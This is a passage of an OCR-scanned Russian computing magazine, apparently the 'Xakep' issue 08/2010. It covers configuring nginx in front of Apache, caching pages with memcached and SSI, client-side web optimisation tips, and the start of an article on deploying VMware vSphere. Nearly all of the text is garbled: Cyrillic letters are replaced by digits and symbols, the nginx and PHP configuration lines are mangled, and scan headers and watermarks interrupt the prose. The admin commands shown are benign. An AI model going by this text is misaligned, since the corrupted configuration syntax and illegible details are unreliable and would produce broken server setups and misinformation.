Фткрываем конфиграционньтй файл и питпем в него следу1ощее:
# т! /е|с/п9!пх/п9|пх.соп{
# шз|пх_полъзователь
05ег м_саса;
+ количество ш9|пх процессов ставиг{ равньш{ ко]1ичес'!ву
процессорг1ь{х я]1ер
шог}<ег--ргосеззез 1;
егтот_1о9 / уат / \о9 / \т|лх / еттос . \о9 ;
р1а / уат / т|п /п91пх. р1ё;
еу е11! ь 1
шоткет_соппес!]'оп5 1024'
)
ь[[р {
г шшш-оа{а;
огкег-ргосе55е5 1;
ггог_1о9 / маг/|о9/ п9!пх/еггог. 1о9;
1о/ уаг / гцп/п91пх. р10;
уеп{5 {
шогкег-соппес{!оп5 1.024;
# пц1!|-ассер{ оп;
р{
1пс1ц6е/е!с/п91пх/п1пе. 1уре5 ;
ассе55-1 о9 / уаг /|о9/ п91пх/ассе55. 1 о9;
5епст|1е
#|ср_порц5п
оп;
оп;
#кеера11уе-|1пеоц{ 0;
}<еера1!ме-{!пеоц| 65;
{ср по0е1ау оп;
х^кЁР 08 /1з9/ ]0
> 129
BemeP34 for Journal-plaza.net
8!ф с|а55 #1
$!ф с!а66 {1
$!аь с!а5з #2
5|аь с!а$$ #1
(овместная ра6ота [т!9!пх и АрасБе
йегпсас}:е6 использует модуль з[аБ-алло-
кации памяти
> !п1о
[хатие методами
6:!р и 0е{[а1е разли-
чается только тем' что
6:!р-упа ковщи к до-
бавляет к результату
небольшой заголовок
и контрольную сумму.
1! ₠тандартньте настройки
!пс1цёе / е[с / п9!пх/ п|пе. [уре5 ;
ое'аш1г'-[уре арр1|сас|оп,/ос.е[_5|геап;
5етуег_папе5_ьа5ь_ь!ске!_в \ ъе 6 4 ;
ассезэ_1о9 /уат / 7о9/пч\пх/ассе55. 1о9;
эепё{11е оп;
# гср_пор;:з: оп ,.
:[ес:ра1 |те_с:пео1]|] 0 ;
&еера1{те-г1пеош| 65;
[ср_поое]ау оп;
* вк]:ю.1ае1{ с];а:;1е
о:!р оп;
9а1р3гох!е0 апу;
9:1р_п|п_1еп9|| 1100;
92]р_ь||р_уегз|оп 1 . 0 ;
9а|р_5ш[[егз 4 8&;
9а|р-сопр_1еме1 9;
9: !р_!урев сех|,/р1а'п [ех[ / с53 арр1 1сас |оп/
х_]ауа5сг|р| сехс/ю1 арр11са||оп/ю1
арр11са!'оп/ш]+г55 сех[,/]амазсг|р! ;
]пс1ц6е / е[с / п9\0х / соп{. 6/* . соп[ ;
1пс1ц6е /е[с,/п9;пх/5'[еэ_епаб1е0/* ;
)
₠оздаем конфиг на1лего хоста:
# т! /е|с/п9|пх/з!1ез-епаБ|еЁ/[оз(.соп
3егует {
1|э!еп 80;
5етуег_папе ьо5[. соп;
ассе55_1о9 / уаг / \ов / п9\пх. ассе55_1о9 ;
]1 всю стат]1(у }19]п]{ отдас]т с];]]'!остояте,!ьно
1осас|оп .-* \. (]р9|]рео о1{!рп9!сэз!:'з!:1р|
[в7 92 гат|ь22 !6ос х]з!ехе]рс' 1рр[ ![аг|шау|ьп
р ] г[! ! 9ш{ ] |со 1 |1у ! схс !п1 !аосх х13х) $ {
гоос /уаг7м/!тов| . соп/;
] п0ех 'п6ех.исп1 !п0ех.рпр;
ассезз_1о9 о|!;
ехр!тез 306;
)
# !1ос":'}.тт к файпати ти]1а .ь|ассе5Б запре]цен
1оса['оп _ /\.ье (
0епу а11;
)
+ вс]е за1рось; ко все!у оста-!])1]о!щ 1(ог]тс]{ту
]1ередае|].]оас]1е
1оса[|оп / {
ргоц/_-ра35 |:Ё[р: / /721 .0.0.1:81/;
рто).у_5е[-ьеа6ег х-Реа1 _ ]Р $гепо|'е_а6ёт ;
ргоц/_5ес_пеа6ег }_Рогшаг6еа'ог $гепоее_
а6ёг;
ргоц/_5е[_ьеааег но5[ $ьо5[ ;
ргоц/_соппес[-[]пеошс 60 ;
ргоху_5епа_[|пеош[ 90 ;
ргощ:_геа0_с |пеоцс 90 ;
ргоц:_геё|гес| о[{;
ргоц/_5е[_пеаоег соппес! 1оп с 1оэе ;
ртоц:3аз з_1теааег соп[ еп[' _ц/ре ;
рго>су3аэз_}:еасег соп|еп| _!; 5ро5{ | !оп ;
ргоц/--раБ5_ьеаоет соп|епс_!еп9[ь;
)
]
Бсе, перезащ:скаем АРасье и ш8!пх:
$ зш0о эегт1се арасье2 ге5[аг!
$ вш6о зегт|се п9!пх ге5[аг[
устАновкАмвмсАснв0
1\:[егпсас[те0- система !Ф1]]иРовани'!да!нньп{ в опеРативной
п:1!1яти, котора,| может бьтть использована &'1я распределен-
ного хра!]ен!.{я и ускорен!1,1достща кданнь1мл1обого типа.
}то одно из самьлх пощ/ляРньп( ретпений в о6ласт,т тот.'1ьной
оптимизации ве6-сайтадпя вьтсок}!( нагРузоц не ребу|о-
щее настройки идолгого изг]ен|1 | АР1. Фбьтчно гпегпсас[:е0
используется, так сказатъ' двр(я стоРонами, одна из которь|х
помещаетданнь1е в |{э|п, адруга'1-изы1екает. в ве6-Феде
Роль первой сторонь1 обь1чно играетне6оль|цой РЁР-скригп,
которьгй запись:вает ва:кньте (с точки зрени'| скоРости отда_
чи) даннь1е в тпегпсасьеа, в то врем'т как втора'! стоРона-это
обь!чно легковеснь!й фровт-энд сервер (как прав|{ло, п81лх) ,
исполь3ующий специальнь|й модульд'и чтен1{я и о;дачи
даннь!хи3 ]петпсасьеа. часто гпетпсасьеа исполь3уетсядпя
|{э1пиРован|1'| всех сщаниц веб-сйта целиком, благодаря
чептускоРостьдосц/т1а кэтим страницам возРастает на не-
сколько порядков. 8 простейтпемсщд|аетакая конфиграция
вь|глядит спед/ющим образом :
1. 9станавливается тпегпсасьеа :
$ 5шсо арв-9ес 'п5[а11 пепсас1:е6
2. Б сетс1ию зегтегконфиграционного Файта п8!пх
добав'иется примерно следутощее:
# т! /е1с/п9!пх/п9!пх.соп|
1осас'оп ,/ {
# !стаьтавливаем к']юч пепсас|е-, оавнь1й за-
праш14ваещому |]Р |
5е[ $пепсаспе6_]<еу $цг| ;
# Адрес ]4 1]ор1' де}1она :пе;псас!:ес]
пепсасьес--разз 12"7 . о. 0.1 :11271 ;
АРАсн₠
гдтсо!
5и!!шЁп
отн!п сс|
!кв 5ЁРип
|'тзо
-т
хдк₠Р 08 /1з9/ !п
BemeP34 for Journal-plaza.net
1пх _ гордость отечества :!
. ]. ]/)'г]].|]:: |() 1'.1:] :].|Ё1]|
6е!ац1[ |уре [ехс ,/ь[п1;
1, 1:.1:-:!.' :1:.1 ::1, ::1,.:::1:1:.1,::1 |
еггог--ра9е 404 - /'а11ьаск;
]
1осаг|оп /га11ьаск {
ргоху--ра5 5 ьаскепс;
)
3. [тя РЁР устанавливаетФ{ рас|пирение гпетпсас[те (то:иент к
гпетпсас[ге4):
$ 5шоо рес1 |пз[а11 пепсас}де
4. в страницьт встраиваетФ| примерно такой код:
$т!згпар1е.р}:р
. -.]] :| :| ],] ]]1':].]; ;ч :;т-:,'с'ас]:-' ] 1 ]1]'/]1!:'] :;]
оь_5саг| ( ) ;
$11гт] - оо_9е' _с1ра1 () ;
$пепсас}те->зе[ ($_5вРувР.['Рв0|1в5т_|'Р.1' ], $ь['п1) ;
есьо $ь[п1;
все это отлично ра6отае1 нотолько в отно11]ении оченьпрость|х, почти
статических ве6-сайтов. [ело втом, что страница не всегдадол:кна бьтть
одинаковойдгя всех посетитепей. 9то еспи главная страница будет закэ_
1пиРованапри входе на сайтгостя, апосле него на сайт придет3арегист-
рированнь:й растник, которому вновь предло)кат 3арегистрироваться.
Ёепорялок. ФАнако естъдостатояно простой вьтход из этой сицации.
11роблемуможет ре!пить покрь!та'| мхом и па}тиной технология под
названием 55! (5егуег $16е 1пс1ц0е5). 55| позволяетразбить веб-страницу
на несколько блоков, которьге будр собрань: фронт-эндом воедино в
момент обра6отки запроса !о1иента. Ёапример, используя 55!, тьт делитпь
главн},]о страницу ве6-сайта надве части:
# у! /уаг/шшш/!п6ех.рБр
<ь[п1 >
<Бо6у>
во вретия ра6оть:.
1пе1псасьеа
' прпвалич|'пдостатовно боль:пих объетиов па|ияти хоРо|пей
практикой будет защ/ск де!иона ппегпсас[:е6 с флагом ' -!- ' .
3 результатедеп!он заранее подготовит к использованик)
] ""- ""'д-'-'щ/ю е1[л5/ па1иять. 9то не:иного поднитиет обпцгло
производительность работьп гпегпсас[е6 3а счет иск'|к)чен|{я
необходи1шости пРои3водить постояннь!е вьцеления па1\{яти
₠лоень:й пирогтипичного веб-сайта
<1 # !пс1ш6е у|г[ца1="/ашсп.рпр''
< | -# |пс1ц6е :,1гс:а1='' ,']эо6у.р!тр'' _->
<,/Бо0у>
< /ь|п1>
это ровнота:л(е страница' код аутентификации которой вьтнесен в фай
ац[ь.рьр, а вся оста-/1ьна'т часть-в Бо0урБр. 7зтоминка)ке 3а}(л}очается
втом, что приведенньгй вьттпе в нетвертом 1паге код кэ1пировани'т ть1
помещае|пьтолько вовторойизэтихфайлов. (акрезультатвь1рисовьг
вается след}'юща'1 картина :
1. человек приходит на сайт в первьгй раз. ||роисходитзапросглавной
страницьт веб_сайта к п31пх.
2. сеРверп8|пхзапратшиваетфайл|п6ех.рБру6эк-энда (АрасБе), встРе-
чает вггугРи него 55}директивь: и делает еще _"2'1- запроса к бэк-энду
(ашг}л.рБр и Бо4ур}тр).
3. по.[г{ив запросьл, АрасБе запускает РЁР-интерпретатор для обработки
3апрашиваемь1х файлов, в результатенего (кроме всего пронего) содер-
)кимое тя)кепого файла Бо6ур}гр попадает в кэ|п тпегпсас!те6.
4. Фтвет возвращается п31пх, которьтй объедиттяет файльл в один 1п6ех.
р}гр и отдает их клиенц.
5. |1оспеэтогонасайтприходитзарегистрированньгйщастник, происхо-
дитзапрос1п0ех.р[лрубэк-энда (хотя' скореевсего, он будетвзятизкэтпа
самогоп3|пх), однакокАрасБеуфеттолькозапроспростогоилегкого
ац{ь.рьр, тогда какБо0у.р}гр будет взятиз кэ1].1а !'11егпсасБе0.
(амо собой раз1плеется, 55! нео6ходимо активироватъ в конфиграци-
онном файле п3|пхс помощью опции (551 оп,, помещеннойв секцито
"1осас1оп /'. (тоит отметить, нто блок аш1ь.рьр та!оке поддаетФ| кэ1пиро_
вани|о, нод1я этого придется присваивать всем зарегистрированньтм
пользовател'!м идентификатор, сохранять его в ь1'кисах и использовать
дця генерации }т{икального ключа гпегпсас}те6.
кливнтскАя оптимизАция
3тастатья посвящена серверной оптимизации веб-сайтов, однако бьшо
бьт кощщством нерассказатьи о клиентской частиэтого процесса. [1оэ-
топ,{у мь1 кратко про6е:кимся по спискурекоме}цаций, направленньтх на
минимизаци1о о6щего объема передаваемь1х даннь1х:
1 'Аслользуй 3т|р или ёе[1ате р':я с)кати'1 страниц и данньтх' фя этого
моэкно задействовать модули Ё11Р-серверов : пр_[:шр_3:1р_гпо0ш1е для
п3!пх' гпо4_согпргезз для 1|3}лщ0 и гпо6-6е0ате для Арас}ле.
2. Аспользуйулаковщики дпя оптимизации и у даления ли1пнего мусоРа
из нтм! и.]ауа5сг|рт (обьтнно они уда./ш{1от все комментарии и пробельг,
заме!{'1|от имена на более короткие и т.д., например, ттеБ-орг1гп1:атог,
со0е.8оов1е. сотп /р /туе.1э-орг|;п1:атгог).
3. Бьтноси (55 и)ата5сйрг-код в отдепьньте файльт, тогда они смогщ6ьтть
закэ:шированьт браузером и применень1 кдРугим страницам (татоке их
мо)кно ра3местить на отдельном сервере, нто6ьт их 3агрузка происход| 1а
пара,тлельно).
4. фя 6олее ллавной и корректттой загрузки страницьт браузером раз-
местизагрузц(5$ в наналестраницьт, а)ата$сг!р|-в конце.
6. Ёезабьтвайустанав./1ивать3аголовкиЁхр!гези ₠асБе-соп!го1,нтобьт
($5 и.)ата5сг1рт могли бьтть закэтлировань: браузером.
7. не применяй.]Р6 и Р]']6тогда, когда можно о6ойтись 61Р (например,
д.гтя мелких иконок).т
х^кЁР 08 /1з9/ 10
BemeP34 for Journal-plaza.net
! | сергей (9г!п6е.' яремчук 9г!паега5упаск.г0
!ш8Бнальная
упРАвляЁм 0БлАкАми с п0м0щью умшАпЁ у5РнБпБ
3ра персоналок с установленнь!ми программами неуклонно двихется
к за кату. |а п оро ге э поха клиент-се р ве р н ь!х техн ологий и о6лач н ь!х в ь! -
числений. Буквально через парулет нам обещаютубрать в облака деся-
тую часть прилохений, нодля этого нухнь! специальнь[е инструменть!,
и кому как не!йшаге бь:тьздесь первой.
Рьтнок вирцализации Развивается стремительнь|ми темпами' 3асве-
ти./1ись практически все Фупнь!е разра6отяики |!Ф: й|сгозо[г, Фгас1е
(орогаЁоп, Рага1|е1з, \/\4тшаге и многие дрщие. Фневидно, тто борьба
ра3горепась неццтотная, и самьтй экирнь:й цсок пирога сможет оторвать
тот, кто предт|о)*(итчто-то принципиа-/|ьнощв!пее и более функцио-
нальное. учить1в.|'1, что многие пользоватепи и организации вьт6ирают
вместо почпки прта.гло:кений их о6лачньтй аналог (3аа5, 5о[птате аз а
зегт|се, |1рограллмное обеспечение какус_щта), осо6ое место среди сис-
тем виРт:ш|и3ации 3анимают решени'1' ориентированньле на обланньте
вьтчиспенття. 1акие как !1\4'тшаге т5р}:еге.
нАзнАчвниБу5РнЁпв
Ффициально история 9\4'тшате т5р}:еге (цдддц.угптшагесощ7що4цсщ7
узр1-теге] наналась члъ больтпе года на3ад' в конце апрепя 2009 года.
Ретпение возникло не на щ/стом месте' а при1]ио на смену гшатформе
вирцализации!\4тшате9!ггца] ]п[газшшсшге, наработки которой и бьии
использованьт. у5р[:еге позво.гтяет 6ьтстро развергт}ть надет(н}'то отказо-
устойнивую инфрастр1ктру, объединить вирцальнь!е системь|, сети и
хран!1]1ища в ч1инь|е щ/ль! ресуРсов, сделать рабо1що средумаксим:'1ьно
у ст ойяивой и улрав,тяемой. 1!1ногие специ[у!исть] назь:в атот ее первой
истланно облачной операционкой. |4 вот повему. (егодт:я нтобьт пр11 1о)ке-
ние заработало в обланной среде 6оо31е, \4!сгозо[г&шге 11ли Агпа2оп, его
код нРкно переписать !!я|1кх'либо создать с нуля. т5р[леге эке призвана
перенести исполнение пр!'1ожений в облако максима.'/1ьно естественнь|м
и безболезненнь:м для программиста' администратора и пользоватФш1
образом. 1е программь1' которь1е уясе сейнас работс1]от под }41Рав./1ением
|{Ф !1\,1'тлаге, фактически оказываютФ! готовь1ми к миграции в облако без
нуяць: в каких 6ь: то ни бьшо патнах и модификац:тях.
(писок возможностей продщта онень 6ольгпой, вьцелим только самь|е
примечательнь|е из них:
. !йтмаге у5[ога3е 1[т!п Ргойз!оп!п3 - экономия дискового пространс_
тва; используетФ| только Реально необходимьгй объем;
о \/1\4тшаге !\4за[е - вь|соконадех{ная лоластерная файовая система,
исло льзу емая для хРанения вирту{у1ьнь1х ма|пин;
. !1\4ттагеАР] у5гога8е и усеп!ег }а!а Ресоуеу-центр.'тизованное
ре3еРвное копирование и восстановление ум и3 графинеской консоли;
о \/\4тшаге ЁотА66 -"горячеедобавление, устРойств без остановки
вирцальной маштинь:;
о !1\4тдлаге )!зш|Бш!е6 Роттег \4апа8етпеп| -управ./|ение элекщопотре6ле-
нием, позвол'!ющее чдцественно сократить расходь1;
. ум\^,'аге но5! Рго[||ез - интерфейс упРавлен1{'|, позволятощий центра-
ли3ованно настРаивать узль| \титуаге Б51,,/Б$!,[ и контролиРовать уста_
новки на соответствие политикам. |йтосуем стода компонентуше(и/огк,
обеспенива*ощит} централизованное }.правление вирцальной сетью,
средства (гоРячей) миграции -[йтцаге [йог!оп, кластеризации -
Ё!3[: Ама!1аБ111ч и вьтсокой досцлпности - Рац1| ?о1егапсе, балансировки
нагрузки-!йтмаге )&5, а татоке поддеряс9технологии перемещен|| |
вирц₠ш|ьнь|хдисков - $|ога3е!1\4о!!оп. |!ринем экономи'| при исполь-
зовании т$р[геге достигаетФ| и за с1]еттого' чтодг1я некоторь:х операций
(например, резервирования) рке не нР!{но зач/пать продукт стороннего
разработяика (скаэкем, \/ееагп 8ас[шр, штмтм.уееагп.согп). поддержи-
ва|отся ограничения впотре6лении (Р0, РА1т4 какдля щ/ловРес}?сов
(Резопгсе Роо1), так идля отдельнь|х хостов с возмох(ностью гаРантиро_
ванного вьце_/!ения ресрсов (Ревегиа|1оп). |!олнь:й список Ф(, на кото-
рьтхмогщ ра6отать ра3нь1е прод}'ктьл!йттаге, представ.'1ен на странице
ум\^/аге согпра|1Б111ц 6ш16е, заявлена поддеря{ка всех пощ/'| |рнь!х сегод_
ня систем-'/{1п0о'тшз и вариантьл'"пй. 8т5р}:еге' по сравненито с!1г|ша1
]п&а5ггшсшге, измен1 !ся и порядоклицензирования, которьгй стал тщь
гибне, так как теперьлицензия Рассчить1вается по нисщпроцессоров (их
количество в6ивается в клтон); ранее привязка1]'1акпаре (Р{}. |1ринем
если количествоядер не превь|шает 6 (в версияхА4тапсе4 и !птегрг|зе
Р1шз- 12), тодополнительн:1я от1'1ата не потребуется. Б разгар кризиса
такой подходтолько приветствуется, ведь при прин'(тии Ре1!!ен|ш! о пере-
ходе на виРц₠у1ьнь1е ма|пинь!у{ить|ва|отФ{ деФ|тки критериев.
[1\4тшаге т$р[:еге состоит и3 слч},}ощих компонентов:
. гипервизоров [\4у;агеЁ3\'и /или\+]\1тцаге Ё5}! (собственно на них все и
ра6отает);
. [\4тмаге у₠еп|ег 5егмег А3еп[, обеспечивающего подключение гипер-
ви3оров к цен1ру1ттравления [1!|ттаге у(еп|ег 5егуег (ранее -!1!1тшаге
!|гша1(епсег 5егиег);
. самого усеп|ег $егмег, отвеяатощего 3а Разверть!вание' центр{|_пи3ован-
ньтй менеджмент и обеспенение доступа (приобретается отдепьно) ;
. прочих компонентов, обеспенива|ощ|п( основнь|е во3можности' сост:1в
котоРь!х варьируетФ! в 3ависимости от вьтбранной лицензии.
Ёа моментнаписания этих стРок на сайте[\4тлаге появт.т./|ась верси'|
т3р[:еге 4 шр0аге 2, ее и 6удемлрепаРировать.
РАзввРть|вАнив у5РнЁпБ
|1ока читаетпь описание, перва'| мь|сль, котоР;ш| приходитв голову
новичку- это очень сложно. Ба самомделе при внимательном подходе
и вь|полнении всех тре6ований процесс ра3верть!вани'1 и пошед}.}ощего
до6авления хостов и ум весьма про3рачен.
> 132
хАквР 08 /1з9/ 10
BemeP34 for Journal-plaza.net
9тобьт установить т5р}леге, надо вь1полнить рядтРебований
и пройти несколько !пагов:
. свеРить имеющееся о6оруАование со списком\/\4тцаге
Ёаг0'шаге (огпра6Б|11ц 11зс;
. проинстш'|ировать [\4тцаге у5р}леге Ё51/Б5*,1 5егтег на
физинескихсерверах (2х2 гц64ь11 сР1_],2+ гб пАм,2+ гб
н)});
о установить\4\4тцаге у₠еп[ег 5егуеги тБрБеге (11епгдтя
уттравления Ё5{, (|)-серверами:
. насщоить сеть хранения данньтх $А1х[;
. ра3веРн}ть }о|иентские Ф₠ в вирцау|ьнь1х средах.
вь!|пе показань! только основнь1е шаги, ка}!(дь1й этап требует
и промежуточньш насщоек (настройка сети, 5А!'{, при
необходимостиАс![уе )1гес|оц и такдалее) ' Ёекоторьте из
этих моментов онень подро6но описань| вдок}'п{ентации'
котоРую мо)кно найти по адречшм,ъ/.\']п1'уаге.согп,/5цррог1./
ршБз/уз ршБв.1-ттгп[. 8кратцеразберемосновнь!евопРось1по
. страницаумшаге
у5оБеге - угпшаге
соп/рго0 о с{з/узрбе ге
> [!п]<э
настройке и управлению т5рБеге, нтобьт наглядно пред_
ставить' счем имеемдепо. Ба странице закачки, которая
6удет достщна после регисраци и, вьт6лр аем ртя установки
гипервизор Ё5| или!1\4тцаге ЁБ&,91\4тшаге т(еп1ег 5егуег (в
виде |5Ф-образа или а|р-архива).|йюс здесь же опциона-/1ь-
нь|е компоне}{ть1: $егуегнеапьеа{, }а{а кесоуец (со 15о)
и т5}г[е14 2опез. фя небольтпих организаций, вероятво,
6ольште подходит бесггтатная ггпатформа!\4ттаге Ё5[1, об-
лада}оща'! всеми необходимь:ми возможностями. ₠начала
развораниваем!\4\,й'аге в5х или Ё5*!, утить:вая, нто их осно_
ва-!!пцх (хотя и несколько уРезаннь:й), установц мо)кво
назвать ста!цартной, и проблем онаобьлчно не вьтзь:вает.
просто следуем указаниям ви3аРда: принимаем лицензи1о,
настРаиваемсетьивьл6ираемдиск. |!ослеперезагрузкимьт
можем )7правл'|ть гипеРвизором из консоли, яерез ве6_ин-
терфейс ттти установив т5р}теге ₠11епс. |1оследний мо)кно ска_
нать с веб-страниць1 вирца-,|ьной матпиньт, адрес которой
буАетдостщен после установки Ё5{(1) тали в у(ептег.
(ледутощий тпаг - установка![4\^/аге усеп|ег на компь1отер
подуправлением'/{'|п4отшз. }поминаний о версии на сайте
найти неуАалось, ноцентр безпро6лем встал какна[Р, так
и на 21с8Р2. 8се данньтеу₠еп|ег хранит в базеданнь|х, Аля
небольтпих среА (5 физинеских, 50 вирцальньтх ма:пин)
мо)кно использовать \4|сгозо[т 3@|,5егтег 2005 Ёхргезз,
которь:й идет с установочнь!м архивом и предпагается
по}лмолчанию. |4наче в процессеустановки нркно буАет
настроить подклточение к₠9БА. Бсли хостовне много (цо
250), то можно о6ойтисъ и32-6итной версией. Резюме: д/'|'1
небольтпого количества сеРверов достаточно тс/|иентской
32-6упной\Р с6есгиатньхм $@1-Бхргезз, в 6олее мощньтх
конфиграциях пр1цется развоРачивать сервер с 64-6итной
Ф(ьто и $@[-сервером.(каниваем 15Ф-образ ттли а1р - архив,
защ/скаем установонньтй файл и в окне мастера вьт6ираем
ссьшкут₠епгег $егиег. ( слову архив содер)китдистри6уи-
вьт и некоторьшдРугихпродуктов: т5р[:еге ₠1[епт, т(епгет
6ш!6е0 (опзо110а!|оп, усеп1ег 1]Раа1е мапа8еь усеп1ег
сопуег[е| усеп(ег огсье5|га[ог и \ти'лаге ₠опзо1[0ате4
8ас[шр. 9зьтк инста-/1]1ятоРа - английстстй. 8о время
инициализации установочного скрипта будщ прои3ведень!
пРоверки на совместимость и' в слу{ае несоответстви'|' вь!-
дань! Рекомендации. Бапример, так как усеп{ег использует
свой ве6-сервер' он 6удет конфиктоватъ сустанов./1еннь1м
|15 по портам. *отя в процессе мо}(но изменить настройки,
указав порт по умолчаниюдля большинства сеРвисов: }лгр,
пггр5, ],)АР, 5$[, }:еаггБеаг. []акет самодостаточен' еспичего-
то будетне хватать, все необходимое (.1''1ет,.1# идР.) мастер
доустановит автоматически. Ёесколько серверов т₠еп!ег
мо:кно о6ъединить в связанную групгу ([1п}е6 \4о0е) и
управ./ш1ть 3атем всеми настройками вирц:у1ьнь1х ма1!]ин с
лто6ого компа в сети. поумолчанию предлагается з!ап6а1опе
установка' но установив на 1паге "у(ептег 5егуег [!п[е0
1м1о0е Фрт1опз' перекл1очатель в положение.<.}о!п а9&1:паге
т(еп{ег 5егиег 3гоцр ...> мь! можем сРа3у подключитьФ{ куя(е
существу|ощей группе серверовт₠еп{ег. 8от, собственно, и
вФ!установка сервера. некоторое врем'|ждем, пока мастер
настроит сервись!, сгенерирует сертификатьт и скопирует
файльт. [1о оконнании ан:у|оги!!но устанав]1иваем оста./1ьнь1е
компоненть|' досц/пнь!е в окне у(епгег |пзса11ец если' конеч-
но, вэтом есть необходимость. Фпятьэке, ихнеобя3ательно
ставить на один итотже комп' хотятако6ьтнноуАобнее.
11ри установке т₠ептег 0р4асе \4апа3ет (т(0\4) щазь!ваем
1Р-адрес сервераусеп{ег и г{етнь|е данньтедидосцгпа. 8
качестве базьтданньтх, к которой необходимо подкл}очиться'
. !оцментация по
установке различнь!х
компонентов м5рбеге
- угпшаге согп/
зоооог1/робз/уз рсбэ.
ь|п] ['
. проверить
64-6итность 8Р['.]-
хостов мохно при
помощи щил ить: [Р[.)
16еп!!{!са!!оп' разме-
щенной на странице
штуш'угпша ге. согп/
6ошп[оа0/з[а гес]
ц !![|!ез' |[п-:|.
хАк₠Р 08 /1з9, 10
) 1зз
BemeP34 for Journal-plaza.net
7''аш|
11
ф_-|!!Рлц !о!аэс 5цссв3зсц| |9.
}стана вл и ваем [|ц,|шаге Ё5[!
-
8ь:бираем з!ап6а[опе_вариантустановки у₠еп{ег
5егуег
6ервер, которьлй будет использоваться для вирч/а.,[и3а-
ции' дод'(ен и:шеть оборудование, сов1|{ести:иое с9йигаге
Ёаг6пгаге ₠огпра!1Б|1Ф ! !зЁ (угпи:аде.соцц:яо7Бс1) . Аоступ-
ньп и пеофициа'|ьпь[е списки оборудования' пор(одя!цего
д''!я тестовь!х и дем(>установок: 91\:! Ёе1р (угп_Бе1Р.согп,:
езхао! /езхдо-и:1т!сеБох Ё(! .р|р), 91\1[ттлаге' в ₠огпгпцп1Ё|ез
| 1з[ (согпгпцп!.!ез.угпт,таге.согп /сэ[:ттлзттл.!оРа) и ш1Ё!1паЁе Б5х
и/ь!Ёеьох (ц!{1гпа1е|^|ь!сеьох. со!п).
тектцими г{етньлми данньтми), принимаем сертификат.
|!оявив:пееся окно клиентавь!полнено в ст:але [{роводника. (лева вьг
биратотся компьютерь!, спРава настройки, внизупанель тещдцих задач.
Ф6рати внимание на сщоц адреса. |1осле первой регистрадии ть1 попа-
даетцьвовкладкунастроек@₠в"Ёогпе ) |пуеп!от) Ровтап4(1цзгегз",
а они нам пока не н}тснь:.9тобьг пощд{итьдосцп ко всем возмо}(ностям
м$р}:еге, просто переходим в "ногпе".
@бласть 1ттравлени'! разде-'|ена на три части по на3начению:
. |пуеп{огу- поиск систем, добавление узлов и кпастеров, аа!асеп{ец
}травление разРе1пениями;
. А0гп|п!вшаЁоп - упРавление р о'\ями' сессиями, лицензиями, настрой-
ками т5р}теге, просмотр жрнала и стацса работь: сервиса;
. мапа8егпеп{_упРав.'|ение задачами, вь:вод собь:тий и картьт
виРц₠у!ьнь]х ма|пин' созд:|ние профипей хостов.
9чить:вая не6ольшое количество подщ/нктов в ка}кдом изних, време-
ни на знакомство синтерфейсом уйдетнемного. Ёе моцне отметить
н:|'1ит|ие всяческих подсказок и мастеров; еспи не вь]полнен какой-ни_
будь обязательньтй шац то сразу по.,цд|ишь ссьич и рекомендации' что
депать. }4нтерфейс "заддч._'''"нтиРованнь!й,, то естъ админ что-то на-
страивает, ау$Р[:еге по мере возмох<ностей пос-лтч]овательно вь|полн'|ет
3адачи. иавное- не }туяно )кдать, пока вь|полнится одна задана, нто6ьт
настРоить след}'тощий гщ.лкт. Боль|цинство опеРаций требуют некоторо-
го времени и пРоисходят в фоне, поэтомуотс./1е)кивай стацс внизуокна.
8сгиьтватощее окно сразу)ке пока:}ь|вает количестводней, оставтпихся до
оконнания пробного периода. вслилицензия )оке прио6ретена, то самое
время ее ввести. ||ереходим в.,А0!п1п15(гас!оп ) шсеп5!п8,' вь|бираем
системуи в контекстном менто щ4{кг"1!1апа8е у5р}теге ],|сепзез". (опи-
Руем в окнолицен3и1о и н₠окимаем "А00 |,|сепве (еуз". 9тобь: сопоста-
вить кл}оч конкретномусервери переходим в "&з|3п !,1сепвез"тгти в
контекстном менто вьтбираем.([лап3е 1-1сепзе (еу'.
1еперь самое главное -подключение Б${, (!). ₠начала со3даем
)ага(епгец 6езэтого шагад:'1ь1ше мь| все Равноне пойдем. [|_{епкаемпо
.)а!асеп!ег, и вьт6ираем ссьику"А66 а }лозт'. |{ояв.ттяется ояередной
визард' в первом окне которого вводим имя или1Р у3лаи ло!ин /лаРоль
ддяут|рав'1ения; под!о1|очаемФ1, пРинимаем сертификат и пощлнаем
информацито о системе. при необходимости здесь:ке мо>кно добавттть
лицензи}о и ввестиданньте обузле. Ёекоторое врем'1 придетФ| подо)к-
дать, пока хост буАетдо6авлен..{алее вьтбираем хосц в окне 5шгпгпау
вьтводятся все данньте по нему. [1ерейдя в окно (оп[!3пгаг!оп, по.ггщаем
!фщщф-.^(Ф
@
у!аео аьоц{ у||!щаге 6о
0нлайн-сервис умшаге 6о позволяет 6ь!стро
виртуализировать сервера
указь|ваем созданную ранее Бд. вним:!ние: пРиз:1пр'-".''р#, '*""
")атаБазе ]п[оггпас|оп" поле оставляем щ/сть!м' в 9том епщае будет ис-
пользована \|'{'|п4отллз-ащентификация. каталоц куда будут помещаться
обновления, щ:н!ше Располо}кить на отдельном разделе хаРда, которь1й
имеетдостаточно свободного места (неменее20 |б). Ёго и щазьтваем
на п:аге }ез||па||оп Ро16егд.г:я.(оп[|3пге т}те !осаг!оп [ог0оттп1оа0|п3
ра|с[лез". (лиентская насть т5рБеге (|1епс, при помощи которой произ-
водятся все настройтс-:, обьгнно ставитс{ на комп админа (минимальньте
системньтетребования: Реп!1шгп]1300, 200мбвАми 1 гбг1оо).
доБАвлвниБ узлов и лицвнзий
}становка законнена. Фткрьлваем из менто т5рБеге (1!еп1, вводимлотттн и
пароль (флаэкок {_)зе \:{!п6отшз зезв1оп сге0епг|а1 по3волит подмючиъся с
}правлениепРипо_
гиоци Ротмег$Ёе11
|(акие бьг арцг:иенть! н[! пРиводи]|и стоРонник|{ сш1, но пРи
5гправлении боль1пим колит|ество1и систе1и щгяпле котшандпой
сц'оки сРедства нет. }1споль3уя сщ'и!ггь[' мо2кно авто1шати_
зировать больпц/к) часть Р),тинньгх 3адач' не пРописаннь(х
в 60|. Разработчики ути!уаге предлагак)тдоп('[[{ение к
Роплег$1:е11 _ Роилег(| 1 (угптшаге.согп/8:о /Роттлегс1!). !1осле
устаповки будет досцп[ен ряд кома[|длетов' основнь[е и3
которьтх_ ₠оппесЁ_у[$егует, 6еЁ-!1\{ и @ес-у!соп!папа. по-
рядок работьт с ни1ии не отличается от дР!д!!х кома[|д.'!етов
Рошлег5Ёе11.,{ля тех, котшуле1!ь писать скРи!тть! самостоя-
тельно' пРед''|о]кен Рекордер мащ>осов9]![и/аге Рго'ес. оп!гх
